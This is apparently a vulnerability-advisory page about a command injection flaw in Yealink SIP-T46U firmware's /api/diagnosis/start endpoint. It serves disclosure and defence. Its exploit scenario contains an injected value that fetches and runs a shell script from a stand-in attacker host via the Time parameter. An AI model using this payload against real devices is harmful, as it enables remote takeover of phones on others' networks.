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CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible API requires only low-privilege authentication; command injection on embedded Linux yields full OS access, warranting C:H/I:H/A:H.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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3DescriptionCVE.org
A flaw has been found in Yealink SIP-T46U 108.86.0.118. The impacted element is the function mod_diagnose.CommandShellByType of the file /api/diagnosis/start of the component Web FastCGI Service. This manipulation of the argument Time causes command injection. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
Command injection in Yealink SIP-T46U firmware 108.86.0.118 enables remote authenticated attackers to execute arbitrary OS commands via the unsanitized Time argument passed to the mod_diagnose.CommandShellByType function at the /api/diagnosis/start diagnostic endpoint. The exploit leverages the Web FastCGI Service's failure to neutralize shell metacharacters before invoking underlying system commands, consistent with CWE-77. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated session with at least low-privilege access to the Yealink SIP-T46U web management interface, consistent with the CVSS PR:L metric. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS 4.0 score of 2.1 (VC:L/VI:L/VA:L) appears to substantially understate real-world risk and is likely an artifact of conservative impact scoring by the VulDB reporter rather than a vendor-assessed rating. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege credentials to the Yealink SIP-T46U web interface - obtained via default credentials, credential stuffing, or insider access - sends a crafted HTTP POST request to `/api/diagnosis/start` with the `Time` parameter set to a value containing shell metacharacters (e.g., `1; curl attacker.com/shell.sh | sh`), causing `mod_diagnose.CommandShellByType` to execute the injected command as the FastCGI service user on the embedded Linux system. The publicly available PoC exploit archive (referenced at cdn2.v50to.cc) lowers the required skill level for exploitation. … |
| Remediation | No vendor-released patch has been identified at time of analysis; the vendor did not respond to disclosure, and no patched firmware version is confirmed from available data. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-36692
GHSA-85r6-756v-4x2v